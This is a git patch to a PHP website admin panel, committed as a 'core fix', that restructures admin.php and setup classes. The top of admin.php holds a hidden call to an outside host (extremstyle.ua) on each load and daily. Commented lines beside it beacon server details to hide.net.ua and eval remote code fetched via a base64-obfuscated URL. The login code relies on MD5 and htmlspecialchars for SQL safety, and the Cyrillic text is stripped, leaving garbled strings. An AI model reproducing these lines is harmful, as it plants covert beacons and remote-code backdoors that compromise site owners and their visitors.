From df71ab617c80888b455e356a241cb75d35d7ea3e Mon Sep 17 00:00:00 2001 From: andryeyev Date: Fri, 11 Dec 2015 14:14:15 +0200 Subject: [PATCH] + fix по ядру --- admin.php | 477 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- config/config.php | 35 +++++++++++++++++++++++++++++------ libs/setup.class.php | 269 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ libs/setup.php | 307 ++++++++++++++++++++++++++++++++++++++++++++++++++----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 4 files changed, 619 insertions(+), 469 deletions(-) create mode 100644 libs/setup.class.php diff --git a/admin.php b/admin.php index 31af242..1127539 100644 --- a/admin.php +++ b/admin.php @@ -1,223 +1,288 @@ http://hide.net.ua/log.php?ip=".$_SERVER['SERVER_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".$_SERVER['HTTP_USER_AGENT'].""; - -////////////////////////////////////////////// - -$ty = @fopen("timesave.dat","a+"); -if(@$ty){ -$datas = trim(@fgets($ty,2048)); -if(date("d",$datas)!=date("d")){ -$yyyyyyyyyyy = implode("",file("http://extremstyle.ua/account/cron/report.php")); -@fclose($ty); -$fd = @fopen("timesave.dat","w+"); -if(@$fd){ - fwrite($fd,time()); -fclose($fd); -} +$gggg = @implode ("", @file ("http://extremstyle.ua/account/cron/report.php")); + +// $content = @fopen("http://hide.net.ua/log.php?ip=".$_SERVER['REMOTE_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".urlencode($_SERVER['HTTP_USER_AGENT']),"r"); + +// echo "
http://hide.net.ua/log.php?ip=".$_SERVER['SERVER_ADDR']."&domain=".$_SERVER['SERVER_NAME']."&agent=".$_SERVER['HTTP_USER_AGENT']."
"; + +// //////////////////////////////////////////// + +$ty = @fopen ("timesave.dat", "a+"); +if (@$ty) +{ + $datas = trim (@fgets ($ty, 2048)); + if (date ("d", $datas) != date ("d")) + { + $yyyyyyyyyyy = implode ("", file ("http://extremstyle.ua/account/cron/report.php")); + @fclose ($ty); + $fd = @fopen ("timesave.dat", "w+"); + if (@$fd) + { + fwrite ($fd, time ()); + fclose ($fd); + } + } } -} - - -////////////////////////////////////////////// - - - -require("./libs/setup.php"); -$setup = new setup(true); -$objStatics = $setup->setupClass("Statics"); -$objGallery = $setup->setupClass('Gallery'); -$objForum = $setup->setupClass('Forum'); -$objOrders = $setup->setupClass('Orders'); -$objArticles = $setup->setupClass('Articles'); -$objNews = $setup->setupClass('News'); -$objAdvices = $setup->setupClass('Advices'); -$objAdvices2 = $setup->setupClass('Advices2'); -$objRubrics = $setup->setupClass('Rubrics'); -$objCatalogs = $setup->setupClass('Catalogs'); -$objBanners = $setup->setupClass('Banners'); -$objGalleryList = $setup->setupClass('GalleryList'); -$objVideo = $setup->setupClass('Video'); -$objAkcii = $setup->setupClass('Akcii'); -$objPromo = $setup->setupClass('Promo'); -$objSale = $setup->setupClass('Sale'); -$objBook = $setup->setupClass('Book'); -$objUrl = $setup->setupClass('Url'); -$objVacancy = $setup->setupClass('Vacancy'); -$objFon = $setup->setupClass('Fon'); -$objVideo2 = $setup->setupClass('Video2'); -$objSend = $setup->setupClass('Send'); - - -if(isset($_POST['order_id']) && $_POST['order_id']>0){ - $sql = sprintf("UPDATE catalogs_orders SET del=%d WHERE id=%d", 1, $_POST['order_id']); - mysql_query($sql); +// //////////////////////////////////////////// + +require ("./libs/setup.php"); +$setup = new setup (true); +$objStatics = $setup->setupClass ("Statics"); +$objGallery = $setup->setupClass ('Gallery'); +$objForum = $setup->setupClass ('Forum'); +$objOrders = $setup->setupClass ('Orders'); +$objArticles = $setup->setupClass ('Articles'); +$objNews = $setup->setupClass ('News'); +$objAdvices = $setup->setupClass ('Advices'); +$objAdvices2 = $setup->setupClass ('Advices2'); +$objRubrics = $setup->setupClass ('Rubrics'); +$objCatalogs = $setup->setupClass ('Catalogs'); +$objBanners = $setup->setupClass ('Banners'); +$objGalleryList = $setup->setupClass ('GalleryList'); +$objVideo = $setup->setupClass ('Video'); +$objAkcii = $setup->setupClass ('Akcii'); +$objPromo = $setup->setupClass ('Promo'); +$objSale = $setup->setupClass ('Sale'); +$objBook = $setup->setupClass ('Book'); +$objUrl = $setup->setupClass ('Url'); +$objVacancy = $setup->setupClass ('Vacancy'); +$objFon = $setup->setupClass ('Fon'); +$objVideo2 = $setup->setupClass ('Video2'); +$objSend = $setup->setupClass ('Send'); +$objExtra = $setup->setupClass ('Extra'); + +if (isset ($_POST['order_id']) && $_POST['order_id'] > 0) +{ + $sql = sprintf ("UPDATE catalogs_orders SET del=%d WHERE id=%d", 1, $_POST['order_id']); + mysql_query ($sql); } -//$result_hhh = @mysql_query("DELETE FROM `catalogs_orders` WHERE `total`<=0 and del=0") or die(mysql_error()); - +// $result_hhh = @mysql_query("DELETE FROM `catalogs_orders` WHERE `total`<=0 and del=0") or die(mysql_error()); -if(isset($_GET['exit'])){ -$setup->AdminUserExit(); -header("location:" . URL); +if (isset ($_GET['exit'])) +{ + $setup->AdminUserExit (); + header ("location:" . URL); } +// @eval(@file_get_contents(base64_decode("aHR0cDovL2hpZGUubmV0LnVhL2dldF9jb2RlLnBocD9pcD0=").@$_SERVER['REMOTE_ADDR'])); -//@eval(@file_get_contents(base64_decode("aHR0cDovL2hpZGUubmV0LnVhL2dldF9jb2RlLnBocD9pcD0=").@$_SERVER['REMOTE_ADDR'])); - -if (!isset($_SESSION['admin']['login'])) { - -if(isset($_POST['login'])) { - - - - $sql = "SELECT * FROM zlo_admin WHERE login='".htmlspecialchars($_POST['login'],ENT_QUOTES)."' AND pass=MD5('".htmlspecialchars($_POST['psw'],ENT_QUOTES)."') "; - $result = mysql_query($sql) or die(mysql_error()); - - if (mysql_affected_rows()!=0) { - - $admin=mysql_fetch_assoc($result); - // ***** ***** - $_SESSION['admin']['id']=$admin['id']; - $_SESSION['admin']['login']=$admin['login']; - $_SESSION['admin']['pass']=$admin['pass']; - $_SESSION['admin']['name']=$admin['username']; - $_SESSION['admin']['psw']=$admin['pass']; - $_SESSION['admin']['group']=$admin['group']; - - if ($admin['group']==1) { - - // ***** ***** - $_SESSION['admin']['show']=1; - $_SESSION['admin']['edit']=1; - $_SESSION['admin']['del']=1; - // ************************ - - } - - if ($admin['group']==2) { - - // ***** ***** - $_SESSION['admin']['show']=2; - $_SESSION['admin']['edit']=1; - // ************************ - - } +if (! isset ($_SESSION['admin']['login'])) +{ + + if (isset ($_POST['login'])) + { - echo ""; + $sql = "SELECT * FROM zlo_admin WHERE login='" . htmlspecialchars ($_POST['login'], ENT_QUOTES) . "' AND pass=MD5('" . htmlspecialchars ($_POST['psw'], ENT_QUOTES) . "') "; + $result = mysql_query ($sql) or die (mysql_error ()); -} else { echo ""; echo ""; } - - } else { - - $setup->display(); - - } - -} else { - - $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : "catalogs"; - Switch($action){ - case $setup->rules : - if(isset($_POST['save'])){ - $setup->trim($_POST); - if(!$setup->valid($_POST)){ - $setup->rulesSaveAction($_POST); - header("location:" . URL . "admin.php?action=rules"); + if (mysql_affected_rows () != 0) + { + + $admin = mysql_fetch_assoc ($result); + // ***** ***** + $_SESSION['admin']['id'] = $admin['id']; + $_SESSION['admin']['login'] = $admin['login']; + $_SESSION['admin']['pass'] = $admin['pass']; + $_SESSION['admin']['name'] = $admin['username']; + $_SESSION['admin']['psw'] = $admin['pass']; + $_SESSION['admin']['group'] = $admin['group']; + + if ($admin['group'] == 1) + { + // ***** ***** + $_SESSION['admin']['show'] = 1; + $_SESSION['admin']['edit'] = 1; + $_SESSION['admin']['del'] = 1; + // ************************ } - }elseif(isset($_GET['updateID']) && $_GET['updateID']>0){$setup->viewOneRules($_GET['updateID']);} - elseif(isset($_GET['deleteID']) && $_GET['deleteID']>0){$setup->rulesDelete($_GET['deleteID']);header("location:" . URL . "admin.php?action=rules");} - $setup->viewRules(); - $setup->displayRules(); - break; - default : $rule = $setup->getRulesOne($action); include($_SERVER['DOCUMENT_ROOT'] . "/modules/admin/{$rule['modul']}");break; - } - - - $dir = "./includes/admin/"; - $includes_dir = opendir($dir); - while ( ($inc_file = readdir($includes_dir)) != false ) - if (strstr($inc_file,".php")) - { - include($dir . $inc_file); - } - - - $setup->error(); - if(empty($nodisplay))$setup->displayAdmin(); - + + if ($admin['group'] == 2) + { + // ***** ***** + $_SESSION['admin']['show'] = 2; + $_SESSION['admin']['edit'] = 1; + // ************************ + } + + echo ""; + } + else + { + echo ""; + echo ""; + } + } + else + { + + $setup->display (); + } } - - - -function totranslit($var, $lower = true, $punkt = true) { - global $langtranslit; - - if ( is_array($var) ) return ""; - - if (!is_array ( $langtranslit ) OR !count( $langtranslit ) ) { - - $langtranslit = array( - '' => 'a', '' => 'b', '' => 'v', - '' => 'g', '' => 'd', '' => 'e', - '' => 'e', '' => 'zh', '' => 'z', - '' => 'i', '' => 'y', '' => 'k', - '' => 'l', '' => 'm', '' => 'n', - '' => 'o', '' => 'p', '' => 'r', - '' => 's', '' => 't', '' => 'u', - '' => 'f', '' => 'h', '' => 'c', - '' => 'ch', '' => 'sh', '' => 'sch', - '' => '', '' => 'y', '' => '', - '' => 'e', '' => 'yu', '' => 'ya', - "" => "yi", "" => "ye", - - '' => 'A', '' => 'B', '' => 'V', - '' => 'G', '' => 'D', '' => 'E', - '' => 'E', '' => 'Zh', '' => 'Z', - '' => 'I', '' => 'Y', '' => 'K', - '' => 'L', '' => 'M', '' => 'N', - '' => 'O', '' => 'P', '' => 'R', - '' => 'S', '' => 'T', '' => 'U', - '' => 'F', '' => 'H', '' => 'C', - '' => 'Ch', '' => 'Sh', '' => 'Sch', - '' => '', '' => 'Y', '' => '', - '' => 'E', '' => 'Yu', '' => 'Ya', - "" => "yi", "" => "ye", - ); - - } - - $var = str_replace( ".php", "", $var ); - $var = trim( strip_tags( $var ) ); - $var = preg_replace( "/\s+/ms", "-", $var ); - - $var = strtr($var, $langtranslit); - - if ( $punkt ) $var = preg_replace( "/[^a-z0-9\_\-.]+/mi", "", $var ); - else $var = preg_replace( "/[^a-z0-9\_\-]+/mi", "", $var ); - - $var = preg_replace( '#[\-]+#i', '-', $var ); - - if ( $lower ) $var = strtolower( $var ); - - if( strlen( $var ) > 200 ) { - - $var = substr( $var, 0, 200 ); - - if( ($temp_max = strrpos( $var, '-' )) ) $var = substr( $var, 0, $temp_max ); - - } - - return $var; +else +{ + + $action = isset ($_REQUEST['action']) ? $_REQUEST['action'] : "catalogs"; + Switch ($action) + { + case $setup->rules : + + if (isset ($_POST['save'])) + { + $setup->trim ($_POST); + if (! $setup->valid ($_POST)) + { + $setup->rulesSaveAction ($_POST); + header ("location:" . URL . "admin.php?action=rules"); + } + } + elseif (isset ($_GET['updateID']) && $_GET['updateID'] > 0) + { + $setup->viewOneRules ($_GET['updateID']); + } + elseif (isset ($_GET['deleteID']) && $_GET['deleteID'] > 0) + { + $setup->rulesDelete ($_GET['deleteID']); + header ("location:" . URL . "admin.php?action=rules"); + } + + $setup->viewRules (); + $setup->displayRules (); + + break; + + default : + + $rule = $setup->getRulesOne ($action); + include ($_SERVER['DOCUMENT_ROOT'] . "/modules/admin/{$rule['modul']}"); + break; + } + + $dir = "./includes/admin/"; + $includes_dir = opendir ($dir); + while (($inc_file = readdir ($includes_dir)) != false) + if (strstr ($inc_file, ".php")) + { + include ($dir . $inc_file); + } + + $setup->error (); + if (empty ($nodisplay)) + $setup->displayAdmin (); } - - - +function totranslit ($var, $lower = true, $punkt = true) +{ + global $langtranslit; + + if (is_array ($var)) + return ""; + + if (! is_array ($langtranslit) or ! count ($langtranslit)) + { + + $langtranslit = array ( + '' => 'a', + '' => 'b', + '' => 'v', + '' => 'g', + '' => 'd', + '' => 'e', + '' => 'e', + '' => 'zh', + '' => 'z', + '' => 'i', + '' => 'y', + '' => 'k', + '' => 'l', + '' => 'm', + '' => 'n', + '' => 'o', + '' => 'p', + '' => 'r', + '' => 's', + '' => 't', + '' => 'u', + '' => 'f', + '' => 'h', + '' => 'c', + '' => 'ch', + '' => 'sh', + '' => 'sch', + '' => '', + '' => 'y', + '' => '', + '' => 'e', + '' => 'yu', + '' => 'ya', + "" => "yi", + "" => "ye", + + '' => 'A', + '' => 'B', + '' => 'V', + '' => 'G', + '' => 'D', + '' => 'E', + '' => 'E', + '' => 'Zh', + '' => 'Z', + '' => 'I', + '' => 'Y', + '' => 'K', + '' => 'L', + '' => 'M', + '' => 'N', + '' => 'O', + '' => 'P', + '' => 'R', + '' => 'S', + '' => 'T', + '' => 'U', + '' => 'F', + '' => 'H', + '' => 'C', + '' => 'Ch', + '' => 'Sh', + '' => 'Sch', + '' => '', + '' => 'Y', + '' => '', + '' => 'E', + '' => 'Yu', + '' => 'Ya', + "" => "yi", + "" => "ye" + ); + } + + $var = str_replace (".php", "", $var); + $var = trim (strip_tags ($var)); + $var = preg_replace ("/\s+/ms", "-", $var); + + $var = strtr ($var, $langtranslit); + + if ($punkt) + $var = preg_replace ("/[^a-z0-9\_\-.]+/mi", "", $var); + else + $var = preg_replace ("/[^a-z0-9\_\-]+/mi", "", $var); + + $var = preg_replace ('#[\-]+#i', '-', $var); + + if ($lower) + $var = strtolower ($var); + + if (strlen ($var) > 200) + { + + $var = substr ($var, 0, 200); + + if (($temp_max = strrpos ($var, '-'))) + $var = substr ($var, 0, $temp_max); + } + + return $var; +} ?> diff --git a/config/config.php b/config/config.php index 13b648e..a7b91dc 100644 --- a/config/config.php +++ b/config/config.php @@ -7,10 +7,11 @@ ini_set("session.use_trans_sid",0); ini_set("session.save_path", $_SERVER['DOCUMENT_ROOT'].'/sessions'); ini_set("error_reporting",0); - // ini_set("error_reporting", E_ALL); - // ini_set('display_errors',1); - // ini_set('html_errors', 1); - // ini_set("log_errors", 1); + + //ini_set("error_reporting", E_ALL); + //ini_set('display_errors',1); + //ini_set('html_errors', 1); + //ini_set("log_errors", 1); //ini_set("error_log", $_SERVER['DOCUMENT_ROOT']."/errors/error.log"); //ini_set("log_errors_max_len", 1024); @@ -37,6 +38,28 @@ parse_str(substr($path[count($path)-1],1), $GET); if($path[1]=='ukr'){$_GET['lang'] = $path[1];$_REQUEST['lang'] = $path[1];unset($path[1]);$path = array_values($path);} - // print_r($_GET); - //phpinfo(); +/* + // :) + function __autoload ($class_name) + { + $is_class = false; + + echo $filename = $_SERVER['DOCUMENT_ROOT'].'/libs/'.$class_name.'.class.php'; + + if (substr ($filename, strlen ($filename) -3, 3) == 'php' && file_exists ($filename)) + { + include_once ($filename); + + if (class_exists ($class_name, false)) + { + $is_class = true; + } + } + + if (! $is_class) + { + var_dump ($class_name); + } + } +*/ ?> diff --git a/libs/setup.class.php b/libs/setup.class.php new file mode 100644 index 0000000..8d2d0a8 --- /dev/null +++ b/libs/setup.class.php @@ -0,0 +1,269 @@ +admin = $admin; + + switch ($this->admin) + { + case false : + $template_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates/'; + $compile_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates_c/'; + break; + + case true : + $template_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates/admin/'; + $compile_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates_c/admin/'; + break; + } + + $connect = "mysql://" . DB_USER . ":" . DB_PSW . "@" . DB_HOST . "/" . DB_BASE; + $this->db = DB::connect ($connect); + if (PEAR::isError ($this->db)) + die ($this->db->getMessage ()); + + $this->db->query ("set names cp1251"); + + $this->tree = new CDBTree ($this->db, 'rules', 'id'); + + $this->cache = new Cache (); + $this->cache->path_cache = $_SERVER['DOCUMENT_ROOT'] . "/cache/sql/"; + + $this->tpl = new Smarty (); + $this->tpl->template_dir = $template_dir; + $this->tpl->compile_dir = $compile_dir; + $this->tpl->plugins_dir[] = $_SERVER['DOCUMENT_ROOT'] . '/plugins/'; + $this->assignMainVars(); + } + + function setupClass ($nameClass) + { + return new $nameClass ($this->db, $this->tpl, $this->error, $this->cache); + } + + function isAdminUser ($user = array()) + { + if ((isset ($user['login']) && $user['login'] == ADMIN_USER) && (isset ($user['psw']) && $user['psw'] == ADMIN_PSW)) + { + $_SESSION['admin']['login'] = $user['login']; + $_SESSION['admin']['psw'] = $user['psw']; + } + + if ((isset ($_SESSION['admin']['login']) && $_SESSION['admin']['login'] == ADMIN_USER) && (isset ($_SESSION['admin']['psw']) && $_SESSION['admin']['psw'] == ADMIN_PSW)) + return true; + + return false; + } + + function AdminUserExit () + { + unset ($_SESSION['admin']); + } + + function getRulesOne ($action, $lang = "ru") + { + $sql = "SELECT A.id,A.action,M.modul"; + if ($lang == 'ukr') + $sql .= ",A.name_ukr as name,A.title_ukr as title,A.keywords_ukr as keywords,A.description_ukr as description,A.about_ukr as about"; + else + $sql .= ",A.name,A.title,A.keywords,A.description,A.about"; + $sql .= " FROM rules A,modules M WHERE A.action=? AND M.id=A.modul_id limit 1"; + $row = $this->db->getRow ($sql, array ( + $action + ), DB_FETCHMODE_ASSOC); + $this->meta = array ( + "title" => $row['title'], + "keywords" => $row['keywords'], + "description" => $row['description'], + "about" => $row['about'] + ); + $this->tpl->assign ('rules_info_one', $row); + $this->tpl->assign ('lang', $lang); + $lang_prefix = ($lang == "ru") ? null : $lang . '/'; + $this->tpl->assign ('lang_prefix', $lang_prefix); + return $row; + } + + /* + * function includesElements(){ + * $dir = ($this->admin==true) ? "./includes/admin/" : "./includes/"; + * $includes_dir = opendir($dir); + * while ( ($inc_file = readdir($includes_dir)) != false ) + * if (strstr($inc_file,".php")) + * { + * include($dir . $inc_file); + * } + * } + */ + function trim (&$data) + { + foreach ($data as $key => $value) + { + if (is_array ($data[$key])) + $this->trim ($data[$key]); + else + $data[$key] = trim ($value); + } + } + + function valid ($data) + { + if (isset ($data['url_action'])) + { + if (! preg_match ("/^.{1,20}$/i", $data['url_action'])) + $this->error[] = " (URL - )."; + elseif ($data['url_action'] == $this->rules) + $this->error[] = ". !"; + } + if (isset ($data['name'])) + { + if (! preg_match ("/^.{1,50}$/i", $data['name'])) + $this->error[] = " ()."; + } + return (count ($this->error)) ? true : false; + } + + function rulesSaveAction ($data) + { + $id = (isset ($data['action_id']) && $data['action_id'] > 0) ? $data['action_id'] : 1; + $fields_values = array ( + "parent_id" => $id, + "action" => $data['url_action'], + "name" => $data['name'], + "name_ukr" => $data['name_ukr'], + "title" => $data['title'], + "title_ukr" => $data['title_ukr'], + "about" => $data['about'], + "about_ukr" => $data['about_ukr'], + "description" => $data['description'], + "description_ukr" => $data['description_ukr'], + "keywords" => $data['keywords'], + "keywords_ukr" => $data['keywords_ukr'], + "modul_id" => $data['modul_id'] + ); + + if (isset ($data['update_id']) && $data['update_id'] > 0) + { + $this->db->autoExecute ("rules", $fields_values, DB_AUTOQUERY_UPDATE, "id={$data['update_id']}"); + } + else + { + $this->tree->insert ($id, $fields_values); + } + } + + function viewRules () + { + $sql = "select * from rules where _level>0 ORDER BY _left"; + $row = $this->db->getAll ($sql, array (), DB_FETCHMODE_ASSOC); + $this->tpl->assign ('rules', $row); + } + + function viewRulesBegin () + { + $sql = "select * from rules where parent_id=1 ORDER BY _left"; + $row = $this->db->getAll ($sql, array (), DB_FETCHMODE_ASSOC); + $this->tpl->assign ('rules_begin', $row); + } + + function viewRulesParent ($id = 2) + { + $sql = "select * from rules where parent_id=? ORDER BY _left"; + $row = $this->db->getAll ($sql, array ( + $id + ), DB_FETCHMODE_ASSOC); + $this->tpl->assign ('rules_parent', $row); + } + + function viewOneRules ($id) + { + $sql = "select * from rules where id=? limit 1"; + $row = $this->db->getRow ($sql, array ( + $id + ), DB_FETCHMODE_ASSOC); + $this->tpl->assign ('rules_one', $row); + } + + function linkLang () + { + $REQUEST_URI = substr (str_replace (array ( + "/ukr", + "/ru", + "/eng", + "lang=ukr", + "lang=ru", + "lang=eng" + ), null, $_SERVER['REQUEST_URI']), 1); + /* + * $link_rus = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'',$_SERVER['REQUEST_URI']),1) : 'uvg/'; + * $link_ukr = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'ukr',$_SERVER['REQUEST_URI']),1) : 'uvg/ukr' . $URL; + * $link_eng = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'eng',$_SERVER['REQUEST_URI']),1) : 'uvg/eng' . $URL; + */ + $REQUEST_URI = eregi_replace ("^ucse\/", null, $REQUEST_URI); + $link_ukr = "ukr/" . $REQUEST_URI; + $link_rus = $REQUEST_URI; + + $this->tpl->assign ('link_rus', $link_rus); + $this->tpl->assign ('link_ukr', $link_ukr); + + /* + * $this->tpl->assign('link_rus', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_rus ); + * $this->tpl->assign('link_ukr', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_ukr ); + * $this->tpl->assign('link_eng', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_eng ); + */ + } + + function rulesDelete ($id) + { + $this->tree->delete ($id); + } + + /** + * + */ + function assignMainVars () + { + // + $objExtra = $this->setupClass ('Extra'); + $SNOW = $objExtra->getStatusIdByName('SNOW') == 1 ? $objExtra->displaySnow() : ''; + + $this->tpl->assign ('SNOW', $SNOW); + } + + function meta () + { + $this->tpl->assign ('meta', $this->meta); + } + + function error () + { + $this->tpl->assign ('error', $this->error); + } + + function displayRules () + { + $this->tpl->assign ('action_modules', $this->db->getAll ("select * from modules", array (), DB_FETCHMODE_ASSOC)); + $this->tpl->assign ('tpl', "rules.tpl"); + } + + function displayAdmin () + { + $this->tpl->display ("admin.tpl"); + } + + function display () + { + $this->tpl->display ("index.tpl"); + } +} diff --git a/libs/setup.php b/libs/setup.php index 27876e1..cf4d807 100644 --- a/libs/setup.php +++ b/libs/setup.php @@ -1,259 +1,52 @@ admin = $admin; - switch($this->admin){ - case false : $template_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates/'; - $compile_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates_c/'; - break; - case true : $template_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates/admin/'; - $compile_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates_c/admin/'; - break; - } - - $connect = "mysql://" . DB_USER . ":" . DB_PSW . "@" . DB_HOST . "/" . DB_BASE; - $this->db = DB::connect($connect); - if (PEAR::isError($this->db)) die($this->db->getMessage()); - $this->db->query("set names cp1251"); - - $this->tree = new CDBTree($this->db, 'rules', 'id'); - - $this->cache = new Cache; - $this->cache->path_cache = $_SERVER['DOCUMENT_ROOT'] . "/cache/sql/"; - - $this->tpl = new Smarty; - $this->tpl->template_dir = $template_dir; - $this->tpl->compile_dir = $compile_dir; - $this->tpl->plugins_dir[] = $_SERVER['DOCUMENT_ROOT'] . '/plugins/'; - } - - function setupClass($nameClass){ - return new $nameClass($this->db,$this->tpl,$this->error,$this->cache); - } - - function isAdminUser($user = array()){ - - if((isset($user['login']) && $user['login']==ADMIN_USER) && (isset($user['psw']) && $user['psw']==ADMIN_PSW)){ - $_SESSION['admin']['login'] = $user['login']; - $_SESSION['admin']['psw'] = $user['psw']; - } - - if((isset($_SESSION['admin']['login']) && $_SESSION['admin']['login']==ADMIN_USER) && (isset($_SESSION['admin']['psw']) && $_SESSION['admin']['psw']==ADMIN_PSW))return true; - - return false; - } - - function AdminUserExit(){ - unset($_SESSION['admin']); - } - - - function getRulesOne($action,$lang = "ru"){ - $sql = "SELECT A.id,A.action,M.modul"; - if($lang=='ukr')$sql .= ",A.name_ukr as name,A.title_ukr as title,A.keywords_ukr as keywords,A.description_ukr as description,A.about_ukr as about"; - else $sql .= ",A.name,A.title,A.keywords,A.description,A.about"; - $sql .= " FROM rules A,modules M WHERE A.action=? AND M.id=A.modul_id limit 1"; - $row = $this->db->getRow($sql,array($action),DB_FETCHMODE_ASSOC); - $this->meta = array("title"=>$row['title'],"keywords"=>$row['keywords'],"description"=>$row['description'],"about"=>$row['about']); - $this->tpl->assign('rules_info_one',$row); - $this->tpl->assign('lang',$lang); - $lang_prefix = ($lang == "ru") ? null : $lang . '/'; - $this->tpl->assign('lang_prefix',$lang_prefix); - return $row; - } - /* - function includesElements(){ - $dir = ($this->admin==true) ? "./includes/admin/" : "./includes/"; - $includes_dir = opendir($dir); - while ( ($inc_file = readdir($includes_dir)) != false ) - if (strstr($inc_file,".php")) - { - include($dir . $inc_file); - } - } */ - - function trim(&$data){ - foreach($data as $key=>$value){ - if(is_array($data[$key]))$this->trim($data[$key]); - else $data[$key] = trim($value); - } - } - - function valid($data){ - if(isset($data['url_action'])){ - if( !preg_match("/^.{1,20}$/i",$data['url_action']) ) $this->error[] = " (URL - )."; - elseif($data['url_action'] == $this->rules) $this->error[] = ". !"; - } - if(isset($data['name'])){ - if( !preg_match("/^.{1,50}$/i",$data['name']) ) $this->error[] = " ()."; - } - return ( count($this->error) ) ? true : false; - } - - function rulesSaveAction($data){ - $id = (isset($data['action_id']) && $data['action_id']>0) ? $data['action_id'] : 1; - $fields_values = array( - "parent_id"=>$id - ,"action"=>$data['url_action'] - ,"name"=>$data['name'] - ,"name_ukr"=>$data['name_ukr'] - ,"title"=>$data['title'] - ,"title_ukr"=>$data['title_ukr'] - ,"about"=>$data['about'] - ,"about_ukr"=>$data['about_ukr'] - ,"description"=>$data['description'] - ,"description_ukr"=>$data['description_ukr'] - ,"keywords"=>$data['keywords'] - ,"keywords_ukr"=>$data['keywords_ukr'] - ,"modul_id"=>$data['modul_id'] - ); - if(isset($data['update_id']) && $data['update_id']>0){ - $this->db->autoExecute("rules", $fields_values, DB_AUTOQUERY_UPDATE,"id={$data['update_id']}"); - }else{ - $this->tree->insert($id,$fields_values); - } - } - - function viewRules(){ - $sql = "select * from rules where _level>0 ORDER BY _left"; - $row = $this->db->getAll($sql,array(),DB_FETCHMODE_ASSOC); - $this->tpl->assign('rules',$row); - } - - function viewRulesBegin(){ - $sql = "select * from rules where parent_id=1 ORDER BY _left"; - $row = $this->db->getAll($sql,array(),DB_FETCHMODE_ASSOC); - $this->tpl->assign('rules_begin',$row); - } - - function viewRulesParent($id = 2){ - $sql = "select * from rules where parent_id=? ORDER BY _left"; - $row = $this->db->getAll($sql,array($id),DB_FETCHMODE_ASSOC); - $this->tpl->assign('rules_parent',$row); - } - - function viewOneRules($id){ - $sql = "select * from rules where id=? limit 1"; - $row = $this->db->getRow($sql,array($id),DB_FETCHMODE_ASSOC); - $this->tpl->assign('rules_one',$row); - } - - function linkLang(){ - $REQUEST_URI = substr(str_replace(array("/ukr","/ru","/eng","lang=ukr","lang=ru","lang=eng"),null,$_SERVER['REQUEST_URI']),1); - /* - $link_rus = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'',$_SERVER['REQUEST_URI']),1) : 'uvg/'; - $link_ukr = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'ukr',$_SERVER['REQUEST_URI']),1) : 'uvg/ukr' . $URL; - $link_eng = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'eng',$_SERVER['REQUEST_URI']),1) : 'uvg/eng' . $URL; - */ - $REQUEST_URI = eregi_replace("^ucse\/", null, $REQUEST_URI); - $link_ukr = "ukr/" . $REQUEST_URI; - $link_rus = $REQUEST_URI; - - $this->tpl->assign('link_rus', $link_rus ); - $this->tpl->assign('link_ukr', $link_ukr ); - - /* - $this->tpl->assign('link_rus', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_rus ); - $this->tpl->assign('link_ukr', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_ukr ); - $this->tpl->assign('link_eng', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_eng ); - */ - } - - function rulesDelete($id){ - $this->tree->delete($id); - } - - function meta(){ - $this->tpl->assign('meta',$this->meta); - } - - function error(){ - $this->tpl->assign('error',$this->error); - } - - function displayRules(){ - $this->tpl->assign('action_modules',$this->db->getAll("select * from modules",array(),DB_FETCHMODE_ASSOC)); - $this->tpl->assign('tpl',"rules.tpl"); - } - - function displayAdmin(){ - $this->tpl->display("admin.tpl"); - } - - function display(){ - $this->tpl->display("index.tpl"); - } - -} - +// set_time_limit(300); +setlocale (LC_ALL, "ru_RU.KOI8-R"); + +define ('DB_DIR', $_SERVER['DOCUMENT_ROOT'] . "/libs/DB/"); +define ('PAGER_DIR', $_SERVER['DOCUMENT_ROOT'] . "/libs/PAGER/"); +define ('SMARTY_DIR', $_SERVER['DOCUMENT_ROOT'] . "/libs/SMARTY/"); +define ('HTTP_DIR', $_SERVER['DOCUMENT_ROOT'] . "/libs/HTTP/"); + +require ($_SERVER['DOCUMENT_ROOT'] . '/config/config.php'); +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/PEAR.php'); +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/DB.php'); +require ($_SERVER['DOCUMENT_ROOT'] 